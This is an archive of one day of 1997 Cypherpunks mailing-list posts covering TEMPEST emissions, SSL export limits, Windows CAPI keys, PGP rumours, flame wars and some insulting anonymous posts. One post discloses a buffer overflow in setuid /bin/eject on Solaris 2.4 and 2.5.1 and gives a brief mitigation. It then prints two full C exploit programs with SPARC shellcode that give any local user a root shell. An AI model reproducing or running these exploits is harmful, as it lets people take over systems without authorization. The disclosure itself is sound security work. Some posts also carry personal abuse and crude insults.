> > > Vulis time to take your pills.
> 
> > I am not a native English speaker, and am curious about something.  Mr.
> > GB does not put a comma after "Vulis", although I think that a standard
> > English practice is to do so. That makes his messages look kinda cute. I
> > wonder whether there is any hidden meaning in omitting commas in this case.
> 
> It was obvious to me (a native speaker) early on that the messages
> from GB referring to Dr. Vulis were auto-generated.  It's fairly
> easy for a human to type in the exact same response over and over
> (doing so manually), but to vary the hand-typed messages, while main-
> taining the complete lack of emotion and sense of robotic blandness,
> would require a great deal of attention that these messages would
> not justify.
> 

dale,

i am sure they are not machine generated. the content is different
every time, plus it srt of depends on the context to which he is replying.
like, if vulis's article is about sexual perversions, GB calls him a 
pervert.

one still could do that in perl, but it is not likely to be the case

	- Igor.





From trei at process.com  Thu Mar 13 06:18:12 1997
From: trei at process.com (Peter Trei)
Date: Thu, 13 Mar 1997 06:18:12 -0800 (PST)
Subject: TEMPEST protection
Message-ID: <199703131418.GAA03648@toad.com>


> Date:          Wed, 12 Mar 1997 21:16:48 -0800
> From:          Dale Thorn <dthorn at gte.net>
> To:            "Cynthia H. Brown" <cynthb at sonetis.com>
> Cc:            cypherpunks at toad.com, cypherpunks at algebra.com
> Subject:       Re: TEMPEST protection
> Reply-to:      Dale Thorn <dthorn at gte.net>

> Cynthia H. Brown wrote:
> > On Tue, 11 Mar 1997, Dale Thorn wrote:
> > > Actually, the computer you type on will be very easy to pick out
> > > of the noise field with modest spy equipment sitting down the street.
> 
> > Other places to look for emissions: the power supply, and the connection
> > points for peripherals.  Make sure you leave adequate ventilation, though
> > (another tricky part).
> 
> Funny thing was, first time I used PGP I was typing in a passphrase
> and apparently PGP was doing something to the keyboard processor
> on my laptop, because all of a sudden I thought I'd gotten bat's
> ears - I could hear interesting new noises every time I pressed a
> key, which I hadn't heard before (at least at an audible volume).
> 
> It occurred to me that typing in a PGP passphrase would be a
> particularly bad time to increase the emissions....

One thing I've heard about laptops - nearly all of them have a video
connector to allow use of a standard CRT monitor. This connector, and
the chips driving it, are always active, and usually unshielded. Thus,
many laptops are spewing video signals out the back.

If you're paranoid (and handy with hardware), I suppose you could 
disconnect the video chip, or at least place an appropriate terminator 
in the video connection socket.

Peter Trei
trei at process.com





From dlv at bwalk.dm.com  Thu Mar 13 06:45:10 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Mar 1997 06:45:10 -0800 (PST)
Subject: Query:
In-Reply-To: <Pine.SUN.3.95.970307000408.16276A-100000@zippy>
Message-ID: <Z1ci4D11w165w@bwalk.dm.com>


Path: perun!news2.panix.com!news.panix.com!panix!cam-news-hub1.bbnplanet.com!news.bbnplanet.com!news.maxwell.syr.edu!metro.atlanta.com!cpk-news-feed3.bbnplanet.com!tick.cs.wm.edu!zippy!nathan
From: Nathan T Moore <nathan at cs.wm.edu>
Newsgroups: sci.crypt
Subject: Query:
Message-ID: <Pine.SUN.3.95.970307000408.16276A-100000 at zippy>
Date: Wed, 12 Mar 1997 17:49:38 -0500
Reply-To: Nathan T Moore <nathan at cs.wm.edu>
Organization: College of William & Mary, founded 1693
Lines: 18
NNTP-Posting-Host: zippy.cs.wm.edu
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: nathan at zippy

(I am sure this has been asked before and is a bothersome newbie question) 
I am working on a research paper for my cryptography class dealing with
the legal issues (IE policy), and the roles of agencies like NSA and NIST. 
The scope is limited to the US, so sorry for the Europeans and other
nations. I would appreciate any web sites and/or FAQ's (I've read the
cryptography FAQ and the RSA Cryptography FAQ) with related information.

Thanks in advance,
Nathan

"Only in college will you find drunk guys frying pig brains and eating
them, at 1 AM." (and NO they didn't say, "tastes like chicken" :)











From dlv at bwalk.dm.com  Thu Mar 13 06:45:47 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Mar 1997 06:45:47 -0800 (PST)
Subject: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703131139.FAA11708@manifold.algebra.com>
Message-ID: <k3ci4D12w165w@bwalk.dm.com>


ichudov at algebra.com (Igor Chudov @ home) writes:

> Dale Thorn wrote:
> >
> > Igor Chudov @ home wrote:
> > > Graham-John Bullers wrote:
> > > > Vulis time to take your pills.
> >
> > > I am not a native English speaker, and am curious about something.  Mr.
> > > GB does not put a comma after "Vulis", although I think that a standard
> > > English practice is to do so. That makes his messages look kinda cute. I
> > > wonder whether there is any hidden meaning in omitting commas in this cas
> >
> > It was obvious to me (a native speaker) early on that the messages
> > from GB referring to Dr. Vulis were auto-generated.  It's fairly
> > easy for a human to type in the exact same response over and over
> > (doing so manually), but to vary the hand-typed messages, while main-
> > taining the complete lack of emotion and sense of robotic blandness,
> > would require a great deal of attention that these messages would
> > not justify.
> >
>
> dale,
>
> i am sure they are not machine generated. the content is different
> every time, plus it srt of depends on the context to which he is replying.
> like, if vulis's article is about sexual perversions, GB calls him a
> pervert.
>
> one still could do that in perl, but it is not likely to be the case

I've been writing a program (in C, actually, although perl might be
a good tool for strings and such :-) that would scan Usenet newsgroups
for trigger keywords and generate randomized follow-ups depending on
what's been said. It's a big project; I hoped to have it done by
April 1st, but it'll definitely take longer.

I hope that with enough tweaking my spambot will sound less robotic
than Graham-John('s?).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From rah at shipwright.com  Thu Mar 13 07:32:07 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 13 Mar 1997 07:32:07 -0800 (PST)
Subject: 128 bit Server and Browser Solution?
Message-ID: <v03020911af4dcb826f58@[139.167.130.247]>



--- begin forwarded text


From: source at iaccess.za
Date: Thu, 13 Mar 97 10:15:26 GMT+2
To: set-dev at terisa.com
Subject: 128 bit Server and Browser Solution?
Sender: owner-set-dev at terisa.com
Precedence: bulk

I believe this is of interest to folk on this list as we continue to develop
our SET solution.


A 128 bit Secure Browser and Server solution. Works with ALL 128 bit SSL 3.0
Servers - Selling outside of the USA - include FREE Server and
Browser certificates.
 *************************************************************************

VeriSure Overview

__________________________________________________________________

Table of Contents

1.      Full 128-bit encryption world wide

2.      Proven SSL 3.0 technology

3.      Protection against Java viruses

4.      Features

5.      Hardware and Software Requirements

6.      Support

7. For more Information and for a Test Drive

__________________________________________________________________

1. Full 128-bit encryption world wide

VeriSure is a Java-based applet that is automatically loaded when
your customers need to access a secure site with 128 bits encryption.

Browsers exported from the USA are crippled by 40 bit
encryption because USA export regulations prevent export of 128 bit
encryption. 40 bit encryption is easily broken with enough time
and computing power.

VeriSure extends those browsers to 128 bits to provide
highly secure encryption (currently unbreakable), regardless of
whether they are in the USA.

This means you can offer your customers secure online transaction
facilities such as banking, investment and other financial services.
__________________________________________________________________

PowerWeb which is a high performance full 128-bit secure server
*********************************************************************
CompuSource also offers PowerWeb which is a full 128-bit secure server
with unlimited RSA encryption using industry standard SSL 3.0 (and 2.0),
providing HTTP, FTP, SMTP and POP3 services, with many extensions
for rapid database application development and dynamic page content.
__________________________________________________________________

2. Proven SSL 3.0 technology

VeriSure uses proven SSL 3.0 technology which provides
authentication of servers and implements encrypted message digests
on every packet to ensure data integrity against tampering,
as well as 128 bit encryption for privacy and unlimited bits RSA
encryption for authentication.

VeriSure does not use SSL 2.0 which has several well known
flaws, especially regarding message digests.

The message digest authenticates the message against tampering
or forgery which is especially important for financial transactions.
Let's say a third party intercepts a message across the network and
decrypts it. The value to that third party is limited to the
content of the information of that single message, because that
third party cannot create new messages for two reasons:
the encryption key changes with every message and every message
is authenticated with a message digest which cannot be reverse
computed.
__________________________________________________________________

3. Protection against Java viruses

Each VeriSure is protected by only allowing connections to specified
sites. This protection is built into VeriSure by way of public key
cryptography which means that other malicious applets or viruses
cannot manipulate this information.

VeriSure also performs SSL 3.0 authentication of the remote server upon
every connection, thereby assuring customers of the true identity
of the server they are connecting to.
__________________________________________________________________

4. Features

VeriSure is built upon industry standards which means that you don't
need custom server solutions. Being built upon standard Java 1.02 or later,
it runs on any customer machine that has a web browser that supports
Java, regardless of operating system.
128 bit Browser and Server Solution

The VeriSure classes are available for licensing for third party
application development.
__________________________________________________________________

5. Hardware and Software Requirements

VeriSure is available for any platform that supports Java and has
a Java-enabled web browser, including: AIX, Solaris,
Windows NT, Windows 95, OS/2, MVS, OS/400.
__________________________________________________________________

6. Support

CompuSource provides support to licensees of VeriSure, who in turn
must support their customers.
__________________________________________________________________

7. For more Information and for a Test Drive:

VeriSure       http://www.compusource.co.za/verisure/index.htm
PowerWeb       http://www.compusource.co.za/powerweb/index.htm




Regards,


The Power Team

SMTP:   source at iaccess.za               Tel:    +27-21-713-2111
HTTP:   http://www.compusource.co.za    FAX:    +27-21-713-0052
FTP:    ftp://ftp.compusource.co.za     Postal: Building 6, Room 201
                                        CompuSource (Pty) Ltd
                                        PO Box 510, Constantia, 7848, South
Africa.

For faster response, please include previous correspondence to when replying.

PGP Public Key can be found at ftp://ftp.compusource.co.za/pub/pgp/public.key

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From anand at querisoft.com  Thu Mar 13 07:47:41 1997
From: anand at querisoft.com (Anand Abhyankar)
Date: Thu, 13 Mar 1997 07:47:41 -0800 (PST)
Subject: SecureFile
In-Reply-To: <33203B5E.28D8E637@veriweb.com>
Message-ID: <3328D1C4.2736@querisoft.com>


Jeremey Barrett wrote:
> Out of curiosity, do you know how the keys are protected by windoze
> itself?

I am sorry I dont understand you question.

> I have the CAPI cd but have had all of 5 minutes to look at it.  I would
> presume they're hashing your password into a key and then encrypting
> with
> it, or encrypting another key with it. Any idea?

Your Windows password is not used to actually any data. The Windows
login just lets you access your keys. This way even if you change your
Windows password it will not affect yout CAPI installation. As long as
the OS identifies you it lets you access your keys.

> What is somewhat bothersome (and this would go for anything using CAPI
> in the way your product does) is the reliance upon the windoze password.
> If that were compromised, it seems all other CAPI integrated keys would
> also be compromised. Let's hope they choose good passwords, and know not
> to re-use the same one on the net somewhere. :-)

Yes! you are right. Security without a good policy is an open door.

> (BTW, does windoze allow arbitrary length passwords or phrases, or does
> it
> have a short limit?)
> 

This can be configured by the administrator of the domain.

> Jeremey.

Thank you for your interest in SecureFile. Please feel free to ask any
questions you may have.

Anand Abhyankar
-- 
                                             \|||/
                                            ( O-O )
 *----------------*-----------*--------.ooo0--(_)-0ooo.----------*
  Anand Abhyankar                                               
  Querisoft Systems Pvt. Ltd.   Email       : anand at querisoft.com 
  810, Sindh Society, Aundh,    Phone (Off) : 91-212-385925       
  Pune - 411 007. INDIA               (Res) : 91-212-351023
                                          .oooO         
                			  (   )   Oooo.
 *----------------*-----------*------------\ (----(   )----------*
                                            \_)    ) /
                                                  (_/





From alan at ctrl-alt-del.com  Thu Mar 13 09:09:26 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Thu, 13 Mar 1997 09:09:26 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120626.XAA27069@shaman.lycaeum.org>
Message-ID: <3.0.1.32.19970313090821.02de9880@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 08:30 PM 3/12/97 -0700, TruthMonger wrote:
>Alan Olsen wrote:> > 
>> > At 06:53 AM 3/12/97 CST, Roy M. Silvernail wrote:
>> > > an7575 at anon.nymserver.com writes:
>> >> >>   The use of PGP=>2.5 suddenly became a 'non-issue' for use in the
U.S.
>> >> because they use both the algorithm and sub-routines developed by the
>> >> NSA and the Military.
>
>> >> >If you have an exploit for 2.5+, publish it.  Otherwise, you're just
>> >blowing FUD.
>
>> > I always wonder where these people get their information.  I know people
who
>> know little to nothing about cryptography, but "they know PGP has been
>> broken".
>
>  I always wonder why there seem to be so many lame fucks on
>the cypherpunks list who, rather than responding to the posts
>on the list, seem to be responding to some broken recording
>going on in their own head.
>  Naturally, these lame fucks never have a direct quote available
>to match the words inside their heads that they purport to place
>in the mouths of others.

The problem is burden of proof.  You made a claim with no evidence or facts
to back it up.

You made the statement that PGP >2.5 was comprimised.  When asked for
something more that assertion, you go off on a screed.

Are you retracting that claim?  Do you have something you want to share with
the rest of the class?

Unless you have something to back up that claim, we will treat you like any
of the other loons ranting about black helicopters, the Greys, and the rest
of the FUD.

>  Why don't 'these people' try actually following a thread and
>deal with the concepts involved, rather than spouting off their
>auto-bot, knee-jerk responses to the voices of old wars that
>they are still fighting inside their heads?

Believe it or not, I am trying to deal with the thread you started.  It might
not be the subject you want to address, but hey, you are the one who opened
his mouth...

If you are going to spread rumors, you might as well, as least have something
to back them up.

>TruthMonger

An oxymoron if I have ever heard one...

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMyg0cOQCP3v30CeZAQGKCQf+NBahYJjSnzOYZ7wPgMSFTPqovtOJWJKz
dh+t5ZjY7dPMhNBKHpPXdwsHh0LEr7AoCCdwESjNW+tS2rOWeS8E5Wiw/VDfGGJR
omr0Kbc8DawsvL09TL7+cYP8cuGzPd5fiv/GHGP1UUG8gpPaExpwSMX272tmGrqQ
sqe55Ot4wMSrd56qUiX8JHQiS6ULWwxFS9Ty7OzatI9prhJFmOpKw3Ud8uD8cQCM
nwse1h4Y6u4ZzoHUA1VSF1VNlj/ttsSTRc3WtrMUk/VrOPHX1J9etZ3YKPe1w/ht
FPjY88Zt1W9Dh/pHCzSe/X6vfvqNp/bPldSXNouZ7aIOKZWfBYGWNQ==
=N2EK
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|





From dlv at bwalk.dm.com  Thu Mar 13 09:50:33 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Mar 1997 09:50:33 -0800 (PST)
Subject: Toto Opportunity
In-Reply-To: <3.0.1.32.19970313112406.007c23d0@smtp1.abraxis.com>
Message-ID: <7Tmi4D25w165w@bwalk.dm.com>


camcc at abraxis.com (Alec) writes:

> This might seem clever the first ten times, but try to realize that crap such
> as this is a distraction to those who take the discussions on this list
> seriously--for the most part.

The PGP key escrow MLM joke is funny (I think, cuz I first made it up :-) plus
it gives us the opportunity to learn to ignore what we're not interested in.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From sfd at sfdungeon.com  Thu Mar 13 10:40:46 1997
From: sfd at sfdungeon.com (Ken Synder)
Date: Thu, 13 Mar 1997 10:40:46 -0800 (PST)
Subject: Good News/Bad News!!
Message-ID: <9703131844.AB29418@www.cyberdevinc.com>


  
					 
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P.S.  To remove yourself from any future contest mailings, simply email us back 
with remove in the subject header.





From declan at well.com  Thu Mar 13 10:49:01 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 13 Mar 1997 10:49:01 -0800 (PST)
Subject: OECD draft crypto guidelines
Message-ID: <Pine.GSO.3.95.970313104722.24190C-100000@well.com>


I've been given a copy of the draft OECD crypto guidelines that will be
released later this month. They don't say what the Justice Department
would like them to, I imagine. You can find more info at
http://netlynews.com/

-Declan







From skipo at sundy.cs.pub.ro  Thu Mar 13 11:18:53 1997
From: skipo at sundy.cs.pub.ro (Cristian SCHIPOR)
Date: Thu, 13 Mar 1997 11:18:53 -0800 (PST)
Subject: Exploit for buffer overflow in /bin/eject - Solaris 2.X
Message-ID: <Pine.GSO.3.95.970313211648.23406C-100000@sundy.cs.pub.ro>


motto: "Mihai Eminescu was a good friend of Ion Creanga"

Thu  Mar 13 21:01:00 EET 1997  - Romania

"Hole in /bin/eject - buffer overflow"

I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who
have suid exec bit and is owned by root). The buffer overflow problem
appears in an internal function media_find(). The result is: any user can 
gain root shell. So, to prevent /bin/eject exploit, you have to get out 
suid-exec bit from /bin/eject (that's very simple) and compile a little 
program like:

 main()
 {execl("/bin/eject","eject","floppy",(char *)0);}
 
That allows your work station ordinary users to eject floppy (thats the main 
task for eject).

I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4 
looks a bit ugly - the buffer is two short - but it works.
For both exploits argv[1] can change the STACK_OFFSET value (for 
troubleshotings +- 8 .. +-64 .. the step is 8).
The interesting thing about this exploit it worked on some machines where 
it was installed some stuff to make inofensiv buffer overflows exploits ... 

Ok you have right down two exploits.
For future I'm planing a web page with security stuff for Solaris so try 
http://www.math.pub.ro/security.

Cristian Schipor - Computer Science Faculty - Bucharest - Romania
E-mail: skipo at sundy.cs.pub.ro, skipo at math.pub.ro, skipo at ns.ima.ro
Phone: 401-410.60.88

------------------------ banana24.c -----------------------------
/* For Solaris 2.4 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 264
   #define EXTRA 36
   #define STACK_OFFSET 8
   #define SPARC_NOP 0xc013a61c
   
   u_char sparc_shellcode[] =

   "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0"/*\x20\x08"*/
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/eject", "eject", & buf,(char *) 0);
   perror("execl failed");
   }
------------------------- end of banana24.c ------------------------

------------------------- banana25.c -------------------------------
/* Wrote for Solaris 2.5.1 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 364
   #define EXTRA 400
   #define STACK_OFFSET 400
   #define SPARC_NOP 0xa61cc013
   
   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/eject", "eject", & buf[1],(char *) 0);
   perror("execl failed");
   }
---------------------------- end of banana25.c ------------------------








From haystack at holy.cow.net  Thu Mar 13 11:45:20 1997
From: haystack at holy.cow.net (Bovine Remailer)
Date: Thu, 13 Mar 1997 11:45:20 -0800 (PST)
Subject: No Subject
Message-ID: <199703131943.OAA13380@holy.cow.net>


Timmy C. May was born when his mother was on the toilet.

         < >            < >
          V    )_.._(    V
          \\   <____>   //
            ~ <______> ~      >
            /~\______/~\     //
            /~\_____/~\     /_\
            /~\____/~\     /_\
             /~\___/\~\  _/_\/
                \___/\__/__\/
                  \___/__\/






From an7575 at anon.nymserver.com  Thu Mar 13 13:04:46 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Thu, 13 Mar 1997 13:04:46 -0800 (PST)
Subject: Silvernail Concedes / Hides In Shame
In-Reply-To: <199703131539.IAA09083@shaman.lycaeum.org>
Message-ID: <199703132104.OAA03386@shaman.lycaeum.org>




roy at sendai.scytale.com wroted:
> an7575 at anon.nymserver.com correctly states:

> >   I always wonder why there seem to be so many lame fucks on
> > the cypherpunks list who, rather than responding to the posts
> > on the list, seem to be responding to some broken recording
> > going on in their own head.
> 
> Something like you not responding to my challenge to produce an exploit,
> no doubt.
 
> My point stands.

  Your point is garbage and will remain garbage.
  The only 'explotation' involved in this thread is the introduction
of issues which were not raised by my post. Rather than respond to
the concerns I raised, Alan Olsen chose to spew forth some unrelated
diatribe about old memories of people claiming to have 'broken' PGP.
  The cypherpunks list never seems to lack for members who seem to
lack the capacity for independent thought and who then respond 
to invalid tangents to the issues raised, rather than give an
intelligent response to the real issues raised.

  I noticed, long ago, that if Dr. Vulis posted several pages of
intelligent, crypto-related material, then signed off with his
"JG is a cocksucker" tag, that I could expect to see perhaps a
single post dealing with the crypto issues he raised, and dozens
of posts saying "is not" and/or "is too."

  Am I to presume that Alan and Roy used the Clipper chip as anal
suppositories, for safe, secure, protection, right up to the moment
that its weaknesses were found?
  I am certain that they are confident that the plastic Zimmerman 
they have on their computer dashboards will protect them from harm, 
but I put more faith in the words of Zimmerman himself, than in those
who worship his graven software blindly.

  When Alan and Roy, among others, have blathered on about 'exploits'
long enough to get it out of their system, then perhaps they might
consider looking up the word 'compromised' and respond to the issues
I raised in my post.
  Thus far, there has been nobody either competent or willing enough to 
address them.

> Oh, by the way... if you actually do this, I hope other people talk
> about it because the *PLONK* you just heard was you hitting my killfile.

  Ah, yes, the old '*PLONK* and *RUN*' gambit.
  Is that a 'tail' I see between Roy's legs?

TruthMonger






From cookies_monsters at hotmail.com  Thu Mar 13 14:07:27 1997
From: cookies_monsters at hotmail.com ( C  M)
Date: Thu, 13 Mar 1997 14:07:27 -0800 (PST)
Subject: more info
Message-ID: <199703132206.OAA29913@f9.hotmail.com>


more info

---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
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From an7575 at anon.nymserver.com  Thu Mar 13 14:34:07 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Thu, 13 Mar 1997 14:34:07 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120626.XAA27069@shaman.lycaeum.org>
Message-ID: <199703132233.PAA07051@shaman.lycaeum.org>



Alan Olsen hunt and pecked:
> At 08:30 PM 3/12/97 -0700, TruthMonger wrote:
> >Alan Olsen wrote:> >
> >> > > an7575 at anon.nymserver.com writes:
> >> >> >>   The use of PGP=>2.5 suddenly became a 'non-issue' for use in the
> U.S.
> >> >> because they use both the algorithm and sub-routines developed by the
> >> >> NSA and the Military.

> >> > I always wonder where these people get their information.  I know people
> who
> >> know little to nothing about cryptography, but "they know PGP has been
> >> broken".

> >  I always wonder why there seem to be so many lame fucks on
> >the cypherpunks list who, rather than responding to the posts
> >on the list, seem to be responding to some broken recording
> >going on in their own head.
> >  Naturally, these lame fucks never have a direct quote available
> >to match the words inside their heads that they purport to place
> >in the mouths of others.
> 
> The problem is burden of proof.  You made a claim with no evidence or facts
> to back it up.
> You made the statement that PGP >2.5 was comprimised.  When asked for
> something more that assertion, you go off on a screed.
> Are you retracting that claim?  Do you have something you want to share with
> the rest of the class?

  Now that you seem to have actually read what I have written, perhaps 
you might consider reading what you, yourself, have written.
  I stated my case for contending that PGP=>2.5 has been compromised, 
and got back wild-eyed demands for proof of that which I did not
claim, mainly, that PGP had been 'broken.'

  To reiterate my original observations:
1. The development of RSA was funded and controlled by the spooks.
i.e. - The National Science Foundation and the Navy.
2. The campaign of persecution against Phil Zimmerman ground to a
halt once he agreed to PGP using the spook-developed RSAREF subroutines
to implement the RSA functions, instead of PGP's original subroutines.

  If people with guns came to me and told me that software I had 
written now had to use their subroutines, instead of my own, then
I would consider my software 'compromised', regardless of whether
or not I could immediately discern any anomalies in it.
  It is far, far easier to 'build' a back-door, than to 'find' one.

  It never fails to amaze me how the back-doors that software makers
intentionally build into their products for their own convenience
suddenly become 'bugs' when hackers, among others, take advantage
of them.
  One hacker I know used to find most of his hacks into AT&T UNIX by
screwing up his system (i.e. - corrupting the passwd file) and then
calling in the AT&T support techs and observing their tricks and
techniques (and then improving on them).

  In regard to the question of whether RSA's spookware has some type
of back-door, or has been 'broken', the answers to these questions
are moot, from my point of view, because I do not intend to base
my privacy and security only on programs developed by even the
most well-intentioned of others.

TruthMonger







From an7575 at anon.nymserver.com  Thu Mar 13 16:09:06 1997
From: an7575 at anon.nymserver.com (Moi)
Date: Thu, 13 Mar 1997 16:09:06 -0800 (PST)
Subject: "Experts slam PGP encryption"
In-Reply-To: <199703132159.QAA02119@alpha.pair.com>
Message-ID: <199703140008.RAA10365@shaman.lycaeum.org>




e$pam wrote: 
> Forwarded by Robert Hettinga
-----------------------------------------------------------------------
> Date: Wed, 12 Mar 1997 08:19:59 -0500
>  From: estone at synernet-d-o-t-.com (Ed Stone) (by way of root at 127.0.0.1
>  (Robert A. Hettinga))
>  To: rah at shipwright.com
>  Subject: Re: "Experts slam PGP encryption"
>  Organization: Synernet
>  Mime-Version: 1.0
>  Path:
>  thing1.leftbank.com!thing2.leftbank.com!cam-news-hub1.bbnplanet.com!cpk-news-hub
>  1.bbnplanet.com!news.bbnplanet.com!news.sprintlink.net!news-peer.sprintlink.net!
>  news-pull.sprintlink.net!news.sprintlink.net!news-dc-9.sprintlink.net!ralph.vnet
>  .net!not-for-mail
>  Newsgroups: sci.crypt
>  Lines: 25
>  NNTP-Posting-Host: estone.vnet.net
>  X-Newsreader: Anawave Gravity v1.10.556
>  X-Newsreader: Yet Another NewsWatcher 2.3.0
> 
> In article <5g34c8$4l$1 at ftel.ftel.co.uk>, I.G.Batten at ftel.co.uk
>  says...
>  > -----BEGIN PGP SIGNED MESSAGE-----
>  >
>  > In article <3324B1D6.2F8D at iconn.net>, josmo  <josmo at iconn.net> wrote:
>  > > feel rsa is built more for speed. the feds can brute a 128 bit key
>  > > whenever they want too. the real delema is that if you make it bigger it
>  >
>  > Unless IDEA has pathways that make attacks significantly faster than
>  > brute force possible (and I mean _significantly_, not a few bits) then I
>  > serious doubt anyone can brute force a 128 bit key.  You aren't making
>  > the mistake of believing that a 128 bit key is 64 times harder to break
>  > than a 64 bit key, are you?
>  >
>  > ian
> 
>  If you try *100 trillion* keys per second, and find the key half way
>  through the keyspace, a 128-bit key will be found in only 5.4 x 10^14
>  centuries!
> 
>  --
>  -------------------------------
>  Ed Stone
>  estone at synernet  d o t  com
>  -------------------------------
> 
> 
> --------------------------------------------------
> The e$ lists are brought to you by:
> 
> Intertrader Ltd: Just released (Feb 97) "Digital Money Online"
> <http://www.intertrader.com/library/DigitalMoneyOnline>
> 
> Where people, networks and money come together: Consult Hyperion
> http://www.hyperion.co.uk                    info at hyperion.co.uk
> 
> Like e$pam? Help pay for it!  See <http://www.atanda.com/rah.html>
> Or, for e$pam sponsorship, see <http://thumper.vmeng.com/pub/rah/>
> 
> Thanks to the e$ e$lves:
> Of Counsel: Vinnie Moscaritolo <mailto:vinnie at webstuff.apple.com>
> (Majordomo)^2: Rachel Willmer<mailto:rachel at intertrader.com>
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> Interturge: Rodney Thayer <mailto:rodney at sabletech.com>
> HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>






From an7575 at anon.nymserver.com  Thu Mar 13 16:10:46 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Thu, 13 Mar 1997 16:10:46 -0800 (PST)
Subject: "Experts slam PGP encryption"
In-Reply-To: <199703132211.RAA06433@alpha.pair.com>
Message-ID: <199703140008.RAA10369@shaman.lycaeum.org>



>  From: kilgallen at eisner.decus.org 
>  Subject: Re: "Experts slam PGP encryption"
>  Organization: LJK Software

>  And of course, the ultimate trust fallacy -
> 
>          "I trust this code was signed by that entity." (verifiable)
>          "I trust that entity is honorable." (judgement call)
> 
>      THEREFORE:
> 
>          "I trust that entity is competent to avoid security bugs."
> 
>  Many
>  will "trust" those entities which have spent their money on television
>  ads rather than on avoiding security bugs.

  ...or trust those who holler loudest and longest about the
'unbreakable'
security of this or that product (or snake oil).

  "I don't care if my computer freezes,
  "As long as I've got my plastic Jesus,
